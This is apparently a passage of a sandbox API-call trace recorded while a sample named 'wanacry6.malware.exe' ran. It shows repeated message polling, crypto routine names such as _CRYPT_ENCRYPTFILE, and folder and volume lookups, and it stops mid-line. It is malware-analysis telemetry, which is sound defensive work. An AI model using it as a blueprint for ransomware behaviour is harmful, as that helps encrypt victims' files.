[0042.497] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.497] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.497] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.497] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.498] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.498] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.498] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.498] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.498] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0042.498] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.498] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0042.498] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.498] CharUpperBuffW (in: lpsz="_SENDMESSAGE", cchLength=0xc | out: lpsz="_SENDMESSAGE") returned 0xc [0042.498] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.498] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0042.498] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.498] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.498] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.499] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.499] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.499] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.499] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.499] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.499] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.499] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.499] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.499] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.500] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.500] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.500] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.500] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.500] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.500] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.500] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.501] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.501] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.501] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.501] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.501] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.501] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.501] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.501] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0042.501] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.501] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0042.501] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.502] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0042.502] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.502] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTFILE") returned 0x12 [0042.502] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.502] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTDATA") returned 0x12 [0042.502] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.502] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0042.502] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.502] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0042.502] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.502] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0042.502] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.502] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0042.502] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.502] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0042.502] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.502] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0042.502] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.502] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0042.502] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.502] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0042.503] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.503] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0042.503] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.503] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0042.503] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.503] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0042.503] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.503] CharUpperBuffW (in: lpsz="_SINGLETON", cchLength=0xa | out: lpsz="_SINGLETON") returned 0xa [0042.503] PeekMessageW (in: lpMsg=0xa96acaf590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf590) returned 0 [0042.503] PeekMessageW (in: lpMsg=0xa96acaf590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf590) returned 0 [0042.503] PeekMessageW (in: lpMsg=0xa96acaf590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf590) returned 0 [0042.503] PeekMessageW (in: lpMsg=0xa96acaf590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf590) returned 0 [0042.503] PeekMessageW (in: lpMsg=0xa96acaf590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf590) returned 0 [0042.503] PeekMessageW (in: lpMsg=0xa96acaf590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf590) returned 0 [0042.503] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0042.504] PeekMessageW (in: lpMsg=0xa96acaf590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf590) returned 0 [0042.504] PeekMessageW (in: lpMsg=0xa96acaf590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf590) returned 0 [0042.504] CharLowerBuffW (in: lpsz="dword", cchLength=0x5 | out: lpsz="dword") returned 0x5 [0042.504] PeekMessageW (in: lpMsg=0xa96acaf590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf590) returned 0 [0042.504] PeekMessageW (in: lpMsg=0xa96acaf590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf590) returned 0 [0042.504] PeekMessageW (in: lpMsg=0xa96acaf590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf590) returned 0 [0042.504] PeekMessageW (in: lpMsg=0xa96acaf590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf590) returned 0 [0042.504] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.504] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.504] SHGetFolderPathW (in: hwnd=0x0, csidl=43, hToken=0x0, dwFlags=0x0, pszPath=0xa96acaeff0 | out: pszPath="C:\\Program Files\\Common Files") returned 0x0 [0042.505] GetShortPathNameW (in: lpszLongPath="C:\\Program Files\\Common Files", lpszShortPath=0xa96ac9f7d0, cchBuffer=0x7fff | out: lpszShortPath="C:\\PROGRA~1\\COMMON~1") returned 0x14 [0042.505] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.505] SHGetFolderPathW (in: hwnd=0x0, csidl=16, hToken=0x0, dwFlags=0x0, pszPath=0xa96acaeff0 | out: pszPath="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 0x0 [0042.505] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5JgHKoaOfdp\\Desktop", lpszShortPath=0xa96ac9f7d0, cchBuffer=0x7fff | out: lpszShortPath="C:\\Users\\5JGHKO~1\\Desktop") returned 0x19 [0042.506] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.506] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0xa96acaeff0 | out: pszPath="C:\\Program Files") returned 0x0 [0042.506] GetShortPathNameW (in: lpszLongPath="C:\\Program Files", lpszShortPath=0xa96ac9f7d0, cchBuffer=0x7fff | out: lpszShortPath="C:\\PROGRA~1") returned 0xb [0042.506] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.506] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5JgHKoaOfdp", lpszShortPath=0xa96ac9f7d0, cchBuffer=0x7fff | out: lpszShortPath="C:\\Users\\5JGHKO~1") returned 0x11 [0042.506] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.506] GetShortPathNameW (in: lpszLongPath="wanacry6.malware.exe", lpszShortPath=0xa96ac9f7d0, cchBuffer=0x7fff | out: lpszShortPath="WANACR~1.EXE") returned 0xc [0042.507] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.507] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", lpszShortPath=0xa96ac9f7d0, cchBuffer=0x7fff | out: lpszShortPath="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE") returned 0x26 [0042.507] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.507] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.507] CharUpperBuffW (in: lpsz="TRUE_HOMEDRIVE", cchLength=0xe | out: lpsz="TRUE_HOMEDRIVE") returned 0xe [0042.507] PeekMessageW (in: lpMsg=0xa96acaf300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf300) returned 0 [0042.507] PeekMessageW (in: lpMsg=0xa96acaf300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf300) returned 0 [0042.508] SetErrorMode (uMode=0x1) returned 0x0 [0042.508] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0xa96ac9f810, nVolumeNameSize=0x7fff, lpVolumeSerialNumber=0xa96acaf838, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0xa96acaf838*=0xba2ee5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0042.508] GetLastError () returned 0x3f0 [0042.508] SetLastError (dwErrCode=0x3f0) [0042.508] GetLastError () returned 0x3f0 [0042.508] SetLastError (dwErrCode=0x3f0) [0042.508] SetErrorMode (uMode=0x0) returned 0x1 [0042.508] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.509] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.510] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.510] QueryPerformanceCounter (in: lpPerformanceCount=0xa96acaf838 | out: lpPerformanceCount=0xa96acaf838*=302564425) returned 1 [0042.510] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.510] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.510] QueryPerformanceCounter (in: lpPerformanceCount=0xa96acaf838 | out: lpPerformanceCount=0xa96acaf838*=302565103) returned 1 [0042.510] QueryPerformanceFrequency (in: lpFrequency=0xa96acaf7b0 | out: lpFrequency=0xa96acaf7b0) returned 1 [0042.510] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.510] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.510] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.510] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.510] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.511] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.511] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.511] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.512] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.512] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.512] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.512] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.512] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.512] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.512] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.513] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.513] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.513] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.513] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.513] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.513] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.513] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.513] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.513] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.514] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.514] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.514] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.514] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.514] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.514] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acaf620) returned 0 [0042.514] PeekMessageW (in: lpMsg=0xa96acaf620, hWnd=0x0, 